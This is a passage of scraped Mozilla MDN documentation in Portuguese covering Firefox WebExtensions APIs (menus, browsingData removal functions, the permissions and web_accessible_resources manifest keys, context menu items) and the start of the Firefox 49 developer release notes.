 {\n    id: \"bluify\",\n    type: \"radio\",\n    title: browser.i18n.getMessage(\"menuItemBluify\"),\n    contexts: [\"all\"],\n    checked: false,\n    icons: {\n      16: \"icons/paint-blue-16.png\",\n      32: \"icons/paint-blue-32.png\",\n    },\n  },\n  onCreated,\n);\n\nbrowser.menus.create(\n  {\n    id: \"separator-2\",\n    type: \"separator\",\n    contexts: [\"all\"],\n  },\n  onCreated,\n);\n\nvar checkedState = true;\n\nbrowser.menus.create(\n  {\n    id: \"check-uncheck\",\n    type: \"checkbox\",\n    title: browser.i18n.getMessage(\"menuItemUncheckMe\"),\n    contexts: [\"all\"],\n    checked: checkedState,\n  },\n  onCreated,\n);\n```\n\nTipos\n-----\n\n`menus.ContextType` (en-US)\n\nOs diferentes contextos em que um menu pode aparecer.\n\n`menus.ItemType` (en-US)\n\nO tipo de item de menu: \"normal\", \"checkbox\", \"radio\", \"separator\".\n\n`menus.OnClickData` (en-US)\n\nInformação enviada quando um item do menu é clicado.\n\nPropriedades\n------------\n\n`menus.ACTION_MENU_TOP_LEVEL_LIMIT` (en-US)\n\nO número máximo de itens de extensão de nível superior que podem ser adicionados a um item de menu cujo ContextType seja \"browser\\_action\" ou \"page\\_action\".\n\nFunções\n-------\n\n`menus.create()` (en-US)\n\nCria um novo item de menu.\n\n`menus.getTargetElement()` (en-US)\n\nRetorna o elemento para um `info.targetElementId` determinado.\n\n`menus.overrideContext()` (en-US)\n\nOculta todos os itens de menu padrão do Firefox para fornecer uma interface de usuário personalizada do menu de contexto.\n\n`menus.refresh()` (en-US)\n\nAtualiza um menu que está sendo exibido no momento.\n\n`menus.remove()` (en-US)\n\nRemove um item do menu.\n\n`menus.removeAll()` (en-US)\n\nRemove todos os itens do menu adicionados por esta extensão.\n\n`menus.update()` (en-US)\n\nAtualiza um item do menu criado anteriormente.\n\nEventos\n-------\n\n`menus.onClicked` (en-US)\n\nAtivado quando um item de menu é clicado.\n\n`menus.onHidden` (en-US)\n\nAtivado quando o navegador esconde um menu.\n\n`menus.onShown` (en-US)\n\nAtivado quando o navegador mostra um menu.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nExample extensions\n------------------\n\n* menu-accesskey-visible\n* menu-demo\n* menu-labelled-open\n* menu-remove-element\n* menu-search\n* session-state\n\n**Nota:** **Reconhecimentos**Esta API é baseada na API `chrome.contextMenus` do Chromium. Esta documentação é derivada do `context_menus.json` do código do Chromium ."}
{"title":"browsingData.removeFormData() - Mozilla","text":"browsingData.removeFormData()\n=============================\n\nLimpa os dados que o navegador salvou para formulários com preenchimento automático.\n\nVocê pode usar o parâmetro `removalOptions`, que é um objeto `browsingData.RemovalOptions` (en-US), para:\n\n* limpar apenas os dados de formulários inseridos após determinado tempo.\n* controlar se limpar os dados do formulário apenas de uma página web normal ou limpa os dados de um app e extensões hospedados também.\n\nEsta é uma função assíncrona que retorna uma `Promise`.\n\nSintaxe\n-------\n\n\n```js\nlet removing = browser.browsingData.removeFormData(\n  removalOptions, // objeto RemovalOptions\n);\n```\n\n### Parâmetros\n\n`removalOptions`\n\n`object`. Um objeto `browsingData.RemovalOptions` (en-US), que pode ser usado para limpar apenas dados de formulários inseridos após determinado tempo, e limpa os dados inseridos apenas de uma página web normal ou limpa os dados de apps e extensões hospedados.\n\n### Valor retornado\n\nUma `Promise` que será realizada sem argumentos quando a remoção for finalizada. Se ocorrer qualquer erro, a promise será rejeitada com uma mensagem de erro.\n\nExemplos\n--------\n\nRemove dados de formulários salvos na última semana:\n\n\n```js\nfunction onRemoved() {\n  console.log(\"removido\");\n}\n\nfunction onError(error) {\n  console.error(error);\n}\n\nfunction weekInMilliseconds() {\n  return 1000 \\* 60 \\* 60 \\* 24 \\* 7;\n}\n\nlet oneWeekAgo = new Date().getTime() - weekInMilliseconds();\n\nbrowser.browsingData\n  .removeFormData({ since: oneWeekAgo })\n  .then(onRemoved, onError);\n```\n\n\nRemove todos os dados de formulário salvos:\n\n\n```js\nfunction onRemoved() {\n  console.log(\"removido\");\n}\n\nfunction onError(error) {\n  console.error(error);\n}\n\nbrowser.browsingData.removeFormData({}).then(onRemoved, onError);\n```\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n> \n> **Note:** Esta API é baseada na API do Chromium `chrome.browsingData`.\n> \n> \n> A compatibilidade dos dados do Microsoft Edge é fornecida pela Microsoft Corporation e é incluída aqui sob a licença Creative Commons Attribution 3.0 United States.\n> \n> \n>"}
{"title":"browsingData.removeCookies() - Mozilla","text":"browsingData.removeCookies()\n============================\n\nLimpa os cookies do navegador.\n\nVocê pode usar o parâmetro `removalOptions`, em que é um objeto `browsingData.RemovalOptions` (en-US), para:\n\n* limpar apenas os cookies criados em determinado tempo.\n* controlar se limpar os cookies apenas de uma página web normal ou limpa os cookies de um app e extensões hospedados.\n\nEsta é uma função assíncrona que retorna uma `Promise`.\n\nSintaxe\n-------\n\n\n```js\nlet removing = browser.browsingData.removeCookies(\n  removalOptions, // objeto RemovalOptions\n);\n```\n\n### Parâmetros\n\n`removalOptions`\n\n`object`. Um objeto `browsingData.RemovalOptions` (en-US), que pode ser usado para limpar apenas cookies criados depois de determinado tempo, e limpa os cookies apenas de uma página web normal ou limpa os cookies de apps e extensões hospedados.\n\n### Valor retornado\n\nUma `Promise` que será realizada sem argumentos quando a remoção for finalizada. Se ocorrer qualquer erro, a promise será rejeitada com uma mensagem de erro.\n\nExemplos\n--------\n\nRemove cookies criados na última semana:\n\n\n```js\nfunction onRemoved() {\n  console.log(\"removido\");\n}\n\nfunction onError(error) {\n  console.error(error);\n}\n\nfunction weekInMilliseconds() {\n  return 1000 \\* 60 \\* 60 \\* 24 \\* 7;\n}\n\nlet oneWeekAgo = new Date().getTime() - weekInMilliseconds();\n\nbrowser.browsingData\n  .removeCookies({ since: oneWeekAgo })\n  .then(onRemoved, onError);\n```\n\n\nRemove todos os cookies:\n\n> \n> **Warning:** Usar a API para remover todos os cookies irá, simultâneamente, limpar todos os objetos local storage (incluindo aqueles de outras extensões)\n> \n> \n> Se você quer limpar todos os cookies sem alterar as informações do local storage, use browser.cookies para percorrer and remover os conteúdos de todos os cookies armazenados\n> \n> \n> \n\n\n```js\nfunction onRemoved() {\n  console.log(\"removido\");\n}\n\nfunction onError(error) {\n  console.error(error);\n}\n\nbrowser.browsingData.removeCookies({}).then(onRemoved, onError);\n```\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n> \n> **Note:** Esta API é baseada na API do Chromium `chrome.browsingData`.\n> \n> \n> A compatibilidade dos dados do Microsoft Edge é fornecida pela Microsoft Corporation e é incluída aqui sob a licença Creative Commons Attribution 3.0 United States.\n> \n> \n>"}
{"title":"browsingData.removeCache() - Mozilla","text":"browsingData.removeCache()\n==========================\n\nLimpa o cache do navegador.\n\nNote que apesar desta função receber um objeto `browsingData.RemovalOptions` (en-US), ele será ignorado. Todo o cache sempre será limpo usando esta função.\n\nEsta é uma função assíncrona que retorna uma `Promise`.\n\nSintaxe\n-------\n\n\n```js\nlet removing = browser.browsingData.removeCache(\n  removalOptions, // objeto RemovalOptions\n);\n```\n\n### Parâmetros\n\n`removalOptions` Optional\n\n`object`. Um objeto `browsingData.RemovalOptions` (en-US). Este parâmetro não tem efeito.\n\n### Valor retornado\n\nUma `Promise` que será realizada sem argumentos quando a remoção for finalizada. Se ocorrer qualquer erro, a promise será rejeitada com uma mensagem de erro.\n\nExemplos\n--------\n\nLimpar o cache do navegador:\n\n\n```js\nfunction onRemoved() {\n  console.log(\"removido\");\n}\n\nfunction onError(error) {\n  console.error(error);\n}\n\nbrowser.browsingData.removeCache({}).then(onRemoved, onError);\n```\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n**Nota:** Esta API é baseada na API do Chromium `chrome.browsingData`.\n\nA compatibilidade dos dados do Microsoft Edge é fornecida pela Microsoft Corporation e é incluída aqui sob a licença Creative Commons Attribution 3.0 United States."}
{"title":"browsingData.removeDownloads() - Mozilla","text":"browsingData.removeDownloads()\n==============================\n\nLimpa o histórico de objetos baixados no navegador. Note que isto não deleta os arquivos baixados de fato, apenas os registros no histórico do navegador.\n\nVocê pode usar o parâmetro `removalOptions`, em que é um objeto `browsingData.RemovalOptions` (en-US), para:\n\n* limpar apenas os itens baixados em determinado tempo.\n* controlar se limpar os registros doe itens baixados apenas de uma página web normal ou limpa os registros de um app e extensões hospedados.\n\nEsta é uma função assíncrona que retorna uma `Promise`.\n\nSintaxe\n-------\n\n\n```js\nlet removing = browser.browsingData.removeDownloads(\n  removalOptions, // objeto RemovalOptions\n);\n```\n\n### Parâmetros\n\n`removalOptions`\n\n`object`. Um objeto `browsingData.RemovalOptions` (en-US), que pode ser usado para limpar apenas os registros criados após determinado tempo, e limpa os registros apenas de uma página web normal ou limpa os registros de apps e extensões hospedados.\n\n### Valor retornado\n\nUma `Promise` que será realizada sem argumentos quando a remoção for finalizada. Se ocorrer qualquer erro, a promise será rejeitada com uma mensagem de erro.\n\nExemplos\n--------\n\nRemove registros de arquivos baixados na última semana:\n\n\n```js\nfunction onRemoved() {\n  console.log(\"removed\");\n}\n\nfunction onError(error) {\n  console.error(error);\n}\n\nfunction weekInMilliseconds() {\n  return 1000 \\* 60 \\* 60 \\* 24 \\* 7;\n}\n\nlet oneWeekAgo = new Date().getTime() - weekInMilliseconds();\n\nbrowser.browsingData\n  .removeDownloads({ since: oneWeekAgo })\n  .then(onRemoved, onError);\n```\n\n\nRemove todos os registros de objetos baixados:\n\n\n```js\nfunction onRemoved() {\n  console.log(\"removed\");\n}\n\nfunction onError(error) {\n  console.error(error);\n}\n\nbrowser.browsingData.removeDownloads({}).then(onRemoved, onError);\n```\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n> \n> **Note:** Esta API é baseada na API do Chromium `chrome.browsingData`.\n> \n> \n> A compatibilidade dos dados do Microsoft Edge é fornecida pela Microsoft Corporation e é incluída aqui sob a licença Creative Commons Attribution 3.0 United States.\n> \n> \n>"}
{"title":"browsingData.remove() - Mozilla","text":"browsingData.remove()\n=====================\n\nRemove o dado de navegação especificado.\n\nO dado de navegação a ser removido está especificado na opção `dataTypes`, em que é um objeto `browsingData.DataTypeSet` (en-US).\n\nVocê pode usar a opção `removalOptions`, um `browsingData.RemovalOptions` (en-US) objeto, para controlar o quão longe no passado a remoção de dados será feita e se deseja remover dados apenas de páginas normais ou remover de aplicativos e extensões hospedados também.\n\nIsso é uma função assíncrona que retorna uma `Promise`.\n\nSintaxe\n-------\n\n\n```js\nlet removing = browser.browsingData.remove(\n  removalOptions, // RemovalOptions object\n  dataTypes, // DataTypeSet object\n);\n```\n\n### Parâmetros\n\n`removalOptions`\n\n`object`. Um objeto `browsingData.RemovalOptions` (en-US), que pode ser usado para controlar o quão longe no passado a remoção de dados será feita e se deseja remover dados apenas de páginas normais ou remover de aplicativos e extensões hospedados também.\n\n`dataTypes`\n\n`object`. Um objeto `browsingData.DataTypeSet` (en-US), descrevendo os tipos de dados para remover (e.g. histórico, downloads, ...).\n\n### Valor retornado\n\nUma `Promessa` que será realizada sem argumentos quando a remoção terminar. Se ocorrer algum erro, a promessa será rejeitada com uma mensagem de erro.\n\nExemplos\n--------\n\nRemove o histórico de download e navegação da última semana:\n\n\n```js\nfunction onRemoved() {\n  console.log(\"removed\");\n}\n\nfunction onError(error) {\n  console.error(error);\n}\n\nfunction weekInMilliseconds() {\n  return 1000 \\* 60 \\* 60 \\* 24 \\* 7;\n}\n\nlet oneWeekAgo = new Date().getTime() - weekInMilliseconds();\n\nbrowser.browsingData\n  .remove({ since: oneWeekAgo }, { downloads: true, history: true })\n  .then(onRemoved, onError);\n```\n\n\nRemove todo o histórico de download e navegação:\n\n\n```js\nfunction onRemoved() {\n  console.log(\"removed\");\n}\n\nfunction onError(error) {\n  console.error(error);\n}\n\nlet oneWeekAgo = new Date().getTime() - weekInMilliseconds();\n\nbrowser.browsingData\n  .remove({ since: oneWeekAgo }, { downloads: true, history: true })\n  .then(onRemoved, onError);\n```\n\n### Example extensions\n\n* forget-it\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n> \n> **Note:** This API is based on Chromium's `chrome.browsingData` API.\n> \n> \n> Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.\n> \n> \n>"}
{"title":"permissões - Mozilla","text":"permissões\n==========\n\n|  |  |\n| --- | --- |\n| Tipo | `Array` |\n| Obrigatório | Não |\n| Exemplo | \n```json\n\"permissions\": [\n  \"\\*://developer.mozilla.org/\\*\",\n  \"webRequest\"\n]\n```\n |\n\nUse a chave `permissions` para solicitar privilégios especiais para sua extensão. Esta chave é um array de strings, onde cada string é uma solicitação para uma permissão.\n\nSe você solicitar permissões usando esta chave, o navegador poderá informar ao usuário que a extensão a ser instalada está solicitando certos privilégios, e perguntar se aceita ou não conceder esses privilégios. O navegador também poderá permitir que o usuário inspecione os privilégios de uma extensão depois que essa for instalada.\n\nA chave pode conter três tipos de permissões:\n\n* permissões de servidor (host)\n* permissões de API\n* a permissão activeTab (aba ativa)\nPermissões de servidor (host)\n-----------------------------\n\nPermissões de servidor são espscificadas como match patterns (en-US). Cada *pattern* identifica um grupo de URLs para os quais a extensão solicita privilégios adicionais. Por exemplo, uma permissão de servidor poderia ser `\"*://developer.mozilla.org/*\"`.\n\nOs privilégios adicionais incluem:\n\n* acesso XMLHttpRequest e fetch para aquelas origens sem restrições *cross-origin* (mesmo para requisições feitas a partir de *content scripts*)\n* habilidade de injetar scripts programaticamente (usando tabs.executeScript (en-US)) em páginas servidas a partir daquelas origens\n* habilidade de receber eventos a partir da API webRequest (en-US) para aqueles servidores\n* habilidade de acessar cookies daquele servidor usando a API cookies, caso a permissão de API \"cookies\" também esteja incluída.\n* desconsiderar a proteção contra rastreamento se o servidor for um domínio completo sem asteriscos. Não funciona com `<all_urls>`.\n\nNo Firefox, da versão 56 em diante, extensões recebem automaticamente permissões de servidor para sua própria origem, que é na forma:\n```\n\nmoz-extension://60a20a9b-1ad4-af49-9b6c-c64c98c37920/\n```\n\n\nonde `60a20a9b-1ad4-af49-9b6c-c64c98c37920` é o ID interno da extensão. A extensão pode obter essa URL programaticamente chamando extension.getURL() (en-US):\n\n\n```js\nbrowser.extension.getURL(\"\");\n// moz-extension://60a20a9b-1ad4-af49-9b6c-c64c98c37920/\n```\n\nPermissões de API\n-----------------\n\nPermissões de API são especificadas como palavras-chave. Cada palavra-chave nomeia uma API WebExtension que a extensão gostaria de usar.\n\nAs seguintes palavras-chave estão atualmente disponíveis:\n\n* `activeTab`\n* `alarms`\n* `background`\n* `bookmarks`\n* `browserSettings`\n* `browsingData`\n* `contentSettings`\n* `contextMenus`\n* `contextualIdentities`\n* `cookies`\n* `debugger`\n* `dns`\n* `downloads`\n* `downloads.open`\n* `find`\n* `geolocation`\n* `history`\n* `identity`\n* `idle`\n* `management`\n* `menus`\n* `nativeMessaging`\n* `notifications`\n* `pageCapture`\n* `pkcs11`\n* `privacy`\n* `proxy`\n* `search`\n* `sessions`\n* `storage`\n* `tabHide`\n* `tabs`\n* `theme`\n* `topSites`\n* `webNavigation`\n* `webRequest`\n* `webRequestBlocking`\n\nNa maioria dos casos, a permissão apenas concede acesso à API, com as seguintes exceções:\n\n* `tabs` dá acesso a partes privilagiadas da API `tabs`: `Tab.url`, `Tab.title` e `Tab.faviconUrl`. No Firefox, você também precisa `tabs` se quiser incluir `url` no parâmetro `queryInfo` para `tabs.query()` (en-US). O resto ad API `tabs` pode ser usado sem solicitar nenhuma permissão.\n* `webRequestBlocking` permite usar o argumento \"blocking\", assim você pode modificar e cancelar requisições.\n* `downloads.open` permite usar a API `downloads.open()` (en-US).\n* `tabHide` permite usar a API `tabs.hide()` (en-US).\nPermissão activeTab (aba ativa)\n-------------------------------\n\nEsta permissão é especificada como `\"activeTab\"`. Se uma extensão tem a permissão `activeTab`, quando o usuário interage com a extensão, a extensão recebe privilégios adicionais somente para a aba ativa.\n\n\"Interação do usuário\" inclui:\n\n* o usuário clica na ação da extensão, no navegador ou na página\n* o usuário seleciona um item da extensão no menu de contexto\n* o usuário ativa um atalho de teclado definido pela extensão\n\nOs privilégios adicionais são:\n\n* habilidade de injetar JavaScript ou CSS na aba programaticamente, usando `browser.tabs.executeScript` e `browser.tabs.insertCSS`\n* acesso a essas partes privilegiadas da API *tabs* na aba atual: `Tab.url`, `Tab.title` e `Tab.faviconUrl`.\n\nA intenção desta permissão é permitir que extensões executem um caso de uso comum, sem ter que lhes dar permissões poderosas demais. Muitas extensões querem \"fazer alguma coisa com a página atual quando o usuário pede\". Por exemplo, considere uma extensão que queira executar um script na página atual quando o usuário clicar em uma ação do navegador. Se a permissão `activeTab` não existisse, a extensão precisaria pedir a permissão de servidor `<all_urls>`. Mas isso daria à extensão mais poder que o necessário: ela poderia executar scripts em qualquer aba e quando quisesse, em vez de apenas na aba atual e somente em resposta a uma ação do usuário.\n\nNote que você só pode ter acesso à aba ou dado que estava ali, quando a interação do usuário ocorreu (por exemplo, um clique do mouse). Quando a aba ativa muda para outra página, por exemplo devido a concluir o carregamento ou algum outro evento, a permissão não lhe concede mais acesso à aba.\n\nNormalmente, a aba a qual foi concedido `activeTab` é somente a aba ativa atual, exceto em um caso. A API `menus` permite a uma extensão criar um item de menu que é exibido se o usuário abrir o menu de contexto sobre uma aba (ou seja, no elemento na lista de abas que permite ao usuário mudar de uma aba para outra). Se o usuário clicar em um item desses, a permissão `activeTab` é concedida para a aba em que o usuário clicou, mesmo que essa não seja a aba ativa no momento (de acordo com Firefox 63, Erro do Firefox 1446956).\n\nAcesso à área de transferência\n------------------------------\n\nExistem duas permissões que permitem à extensão interagir com a área de transferência:\n\n* `clipboardWrite`: escrever para a área de transferência usando `document.execCommand(\"copy\")` ou `document.execCommand(\"cut\")`\n* `clipboardRead`: ler da área de transferência usando `document.execCommand(\"paste\")`\n\nConsulte Interação com a área de transferência (en-US) para saber todos os detalhes sobre isso.\n\nArmazenamento ilimitado\n-----------------------\n\nA permissão `unlimitedStorage`:\n\n* permite que extensões exceder qualquer quota imposta pela API `storage.local` (en-US)\n* no Firefox, permite que extensões criem um banco de dados IndexedDB \"persistente\" (en-US), sem que o navegador peça ao usuário permissão no momento em que o banco de dados é criado.\nExemplos\n--------\n\n\n```json\n \"permissions\": [\"\\*://developer.mozilla.org/\\*\"]\n```\n\n\nSolicita acesso privilegiado a páginas sob developer.mozilla.org.\n\n\n```json\n  \"permissions\": [\"tabs\"]\n```\n\n\nSolicita acesso a partes privilegiadas da API `tabs`.\n\n\n```json\n  \"permissions\": [\"\\*://developer.mozilla.org/\\*\", \"tabs\"]\n```\n\n\nSolicita ambas as permissões anteriores.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"web_accessible_resources - Mozilla","text":"web\\_accessible\\_resources\n==========================\n\n|  |  |\n| --- | --- |\n| Tipo | `Array` |\n| Obrigatório | No |\n| Exemplo | \n```json\n\"web\\_accessible\\_resources\": [\n  \"images/my-image.png\"\n]\n```\n |\n\nDescrição\n---------\n\nAs vezes, você precisa empacotar recursos — por exemplo, imagens, HTML, CSS ou Javascript — com a sua extensão e fazê-la acessível para as páginas web.\n\nPor exemplo, a extensão de exemplo Beastify substitui uma página por uma imagem de um animal selecionado pelo usuário. As imagens foram empacotadas com a extensão. Para fazer visível a imagem selecionada, a extensão adiciona elementos `<img>` cujo atributo `src` aponta para a imagem do animal. Para que a página da web possa carregar as imagens, elas devem estar disponíveis na extensão.\n\nWith the `web_accessible_resources` key, you list all the packaged resources that you want to make available to web pages. You specify them as paths relative to the manifest.json file.\n\nNote that content scripts don't need to be listed as web accessible resources.\n\nIf an extension wants to use `webRequest` (en-US) to redirect a public URL (e.g., HTTPS) to a page that's packaged in the extension, then the extension must list the page in the `web_accessible_resources` key.\n\n### Using web\\_accessible\\_resources\n\nFor example, suppose your extension includes an image file at images/my-image.png, like this:\n```\n\nmy-extension-files/\n    manifest.json\n    my-background-script.js\n    images/\n        my-image.png\n```\n\n\nTo enable a web page to use an `<img>` element whose `src` attribute points to this image, you would specify `web_accessible_resources` like this:\n\n\n```json\n\"web\\_accessible\\_resources\": [\"images/my-image.png\"]\n```\n\n\nThe file is then available using a URL like:\n```\n\nmoz-extension://<extension-UUID>/images/my-image.png\"\n```\n\n\n`<extension-UUID>` is **not** your extension's ID. This ID is randomly generated for every browser instance. This prevents websites from fingerprinting a browser by examining the extensions it has installed.\n\n**Nota:** In Chrome, an extension's ID is fixed. When a resource is listed in `web_accessible_resources`, it is accessible as `chrome-extension://<your-extension-id>/<path/to/resource>`.\n\nThe recommended approach to obtaining the URL of the resource is to use `runtime.getURL` passing the path relative to manifest.json, for example:\n\n\n```js\nbrowser.runtime.getURL(\"images/my-image.png\");\n// something like:\n// moz-extension://944cfddf-7a95-3c47-bd9a-663b3ce8d699/images/my-image.png\n```\n\n\nThis approach gives you have the correct URL regardless of the browser your extension is running on.\n\n### Wildcards\n\n`web_accessible_resources` entries can contain wildcards. For example, the following entry would also work to include the resource at \"images/my-image.png\":\n\n\n```json\n  \"web\\_accessible\\_resources\": [\"images/\\*.png\"]\n```\n\n### Security\n\nNote that if you make a page web-accessible, any website may link or redirect to that page. The page should then treat any input (POST data, for examples) as if it came from an untrusted source, just as a normal web page should.\n\nExample\n-------\n\n\n```json\n\"web\\_accessible\\_resources\": [\"images/my-image.png\"]\n```\n\n\nMake the file at \"images/my-image.png\" web accessible.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"short_name - Mozilla","text":"short\\_name\n===========\n\n|  |  |\n| --- | --- |\n| Tipo | `String` |\n| Obrigatório | No |\n| Exemplo | \n```json\n\"short\\_name\": \"Minha Extensão\"\n```\n |\n\nNome abreviado (short name) da extensão. Se informado, ele será usado em contextos onde o campo de nome for muito longo. É recomendado que o nome abreviado não deva exceder 12 caracteres. Se o campo do nome abreviado não for incluído no manifest.json, então o nome será usado em vez disso e pode ser truncado.\n\nIsto é um propriedade localizável.\n\nExemplo\n-------\n\n\n```json\n\"short\\_name\": \"Minha Extensão\"\n```\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Itens do menu de contexto - Mozilla","text":"Itens do menu de contexto\n=========================\n\nEsta opção da interface de usuário adiciona um ou mais itens para o menu de contexto do navegador.Este é o menu de contexto disponível quando um usuário clica com o botão direito numa página web. As guias também podem ter menus de contexto, disponível através da API browser.menus.\n\n![Example of content menu items added by a WebExtension, from the context-menu-demo example](/pt-BR/docs/Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items/context_menu_example.png)\n\nVocê usaria essa opção para expor recursos relevantes para contextos específicos de navegadores ou páginas da web. Por exemplo, você poderia mostrar recursos para abrir um editor gráfico quando o usuário clica em uma imagem ou pode oferecer um recurso para salvar o conteúdo da página quando uma parte da página é selecionada. Você pode adicionar itens planos de menu, caixas de seleção, grupos de botões de rádio, e separadores para os menus. Quando um item de menu de contexto for adicionado usando `contextMenus.create` (en-US), é mostrado em todas as guias do navegador, mas você pode escondê-lo usando `contextMenus.remove` (en-US).\n\nA lista inteira dos contextos suportados está disponível em `menus.ContextType` (en-US) e inclui contextos de fora de uma página web, como itens de favoritos na interface do navegador. Por exemplo, a extensão \"Open bookmark in Container Tab\" adiciona um item de menu que permite que o usuário abra a URL dos favoritos em uma nova guia de container:\n\n![](/pt-BR/docs/Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items/extension_context_menu.png)\n\nEspecificando itens do menu de contexto\n---------------------------------------\n\nVocê controla os itens do menu de contexto programaticamente, usando a API `contextMenus` (en-US). No entanto, você precisa requisitar a permissão `contextMenus` em seu manifest.json para poder tomar vantagem desta API.\n\n\n```json\n\"permissions\": [\"contextMenus\"]\n```\n\n\nVocê pode então adicionar (e atualizar ou apagar) os itens do menu de contexto em seu script de \"background\" (segundo plano) da sua extensão. Para criar um item de menu, você especifica um id, seu título, e os menus de contexto em que ele deve aparecer:\n\n\n```js\nbrowser.contextMenus.create(\n  {\n    id: \"log-selection\",\n    title: browser.i18n.getMessage(\"contextMenuItemSelectionLogger\"),\n    contexts: [\"selection\"],\n  },\n  onCreated,\n);\n```\n\n\nSua extensão então escuta os cliques nos itens do menu. As informações passadas sobre o item clicado, o contexto em que o clique ocorreu e os detalhes da guia em que o clique ocorreu podem ser usadas para chamar a funcionalidade de extensão apropriada.\n\n\n```js\nbrowser.contextMenus.onClicked.addListener(function(info, tab) {\n  switch (info.menuItemId) {\n    case \"log-selection\":\n      console.log(info.selectionText);\n      break;\n    ...\n  }\n})\n```\n\nÍcones\n------\n\nPara mais detalhes sobre como criar ícones para usar no seu menu de contexto, veja Iconography na documentação Photon Design System.\n\nExemplos\n--------\n\nO repositório webextensions-examples no GitHub contém dois exemplos de extensões que implementam itens do menu de contexto:\n\n* menu-demo adiciona muitos itens para o menu de contexto do navegador.\n* context-menu-copy-link-with-types adiciona um item de menu de contexto aos links que copiam o URL do link para a área de transferência, como texto sem formatação e HTML avançado."}
{"title":"Notas de lançamento do Firefox para o desenvolvedor - Mozilla","text":"Notas de lançamento do Firefox para o desenvolvedor\n===================================================\n\nEsta página fornece links para artigos \"Firefox X para desenvolvedores\" para cada versão do Firefox. Estas notas permitem ver que recursos foram adicionados e os erros eliminados em cada versão do Firefox.\n\n1. Firefox 49 para desenvolvedores"}
{"title":"Firefox 49 para desenvolvedores - Mozilla","text":"Firefox 49 para desenvolvedores\n===============================\n\nPara testar estes novos recursos do Firefox,\nInstale Firefox Developer Edition Firefox 49 foi lançado em 20 de Setembro de 2016. Este artigo faz uma lista das principais alterações não só para desenvolvedores web, mas também desenvolvedores Firefox e Gecko e de extensões.\n\nMudanças para desenvolvedores web\n---------------------------------\n\n### Ferramentas de desenvolvimento\n\n* Erros de JavaScript registrados no console Agora com um link [Leia Mais] para ajuda complementar na depuração (Erro do Firefox 1179876).\n* CSS autocompletar: mostra mais sugestões para o autocompletar\n (Erro do Firefox 1260419).\n* O inspector de animação agora fornece informações do desempenho da animação nas ferramentas de desenvolvimento (Erro do Firefox 1254408).\n* O menu de contexto do Inspector (en-US) foi reorganizado ser mais claro e fácil de usar (Erro do Firefox 1211613).\n* O Inspector agora suporta sintaxe para valores de cores em `#RRGGBBAA` e `#RGBA` (Erro do Firefox 1271191).\n* As ferramentas de desvenvolvedor deixa de exibir marcas de fechamento automático (tal como `<br>` e `<img>` como se eles tivessem uma tag de fechamento em páginas HTML ; o comportamento é inalteravel para páginas XHTML (Erro do Firefox 820926).\n* Melhorias na acessibilidade!\n    + A caixa de ferramenta faz um trabalho melhor em assegurar que o foco no teclado seja mais visível (Erro do Firefox 1242851).\n    + Foram adicionados rótulos de acessibilidade a controles não marcados (Erro do Firefox 1242715).\n    + Adicionada semântica de exibição de árvore adequada e navegação de teclado para a exibição de marcação do Inspetor (Erro do Firefox 1242694).\n* O Monitor de Rede agora mostra uma coluna de Causa, onde fornece e indica o que causa de cada requerimento de rede específico (Erro do Firefox 1134073).\n* Na *about:debugging* página de extesões, o botão de recarregar é o único abilitado para extensões temporárias. Será desabilitado para todas as outras extensões (Erro do Firefox 1273184).\n* Na página Workers em *about:debbuging*, uma mensagem de alerta será exibida na seção Service Workers se o service workers for incompatíveil (en-US) com as configurações atuais do navegador (Erro do Firefox 1266415).\n* *about:debugging* agora existe uma nova página de Tabs (en-US) disponível, quer fornece uma lista completa de todas abas abertas debugaveis na instancia do Firefox (Erro do Firefox 1266128).\n* A opção *Desabilitar Cache* na Caixa de ferramentas de configurações avançadas foi renomeada para Desabilitar HTTP Cache, para clarear que isso afeta o cache do HTTP, e não Service Workers/o Cache API (bug(1253018)).\n* O Inspector de armazenamento agora permite IndexedDB databases ser deletado através de seu próprio menu (Erro do Firefox 1205123), e mostrará uma mensagem de alerta se a IndexedDB poder ser deletada por alguma rasão (Se ainda existir conexão ativa, por exemplo) (Erro do Firefox 1268460).\n### HTML\n\n* Adicionado suporte para estes elementros: `<details>` e `<summary>` (Erro do Firefox 1226455).\n* O `pattern` atribuido para `<input>` agora usa o parâmetro `'u'` no JavaScript base `RegExp` (Erro do Firefox 1227906).\n* Para corresponder a uma mudança específica, de um valor inválido `kind` atributo do elemento `<track>` é agora tratado como `\"metadata\"` ao invés de`\"subtitles\"` (Erro do Firefox 1269712).\n* O atributo `sandbox` do elemento `<iframe>` agora suporta os valores 'allow-popups-to-escape-sandbox' e 'allow-modals' (Erro do Firefox 1190641).\n* Suporte para atributos microdata e a Microdata API foram removidas (Erro do Firefox 909633).\n* O atributo `referrerpolicy` do elemento `<a>` agora suporta esses atributos `'no-referrer-when-downgrade`' e `'origin-when-cross-origin'` (Erro do Firefox 1178337).\n* O `form` que é atributo do elemento `<label>` foi removido. A propriedade `HTMLLabelElement.form` (en-US) ainda existe, mas agora retorna o formulário na qual o controle do label's está associado , se houver um controle (e se esse controle for associado ao formulário) (Erro do Firefox 1268852).\n### CSS\n\n* Adicionado `background-position-x` (en-US) e `background-position-y` (en-US), que permite específicar e compensar separadamente a horizontal e a vertial para melhor posicionar a imagem de fundo; eles são compentes de `background-position` (en-US) (Erro do Firefox 550426).\n* Adicionado suporte para `as tags round` e `space` 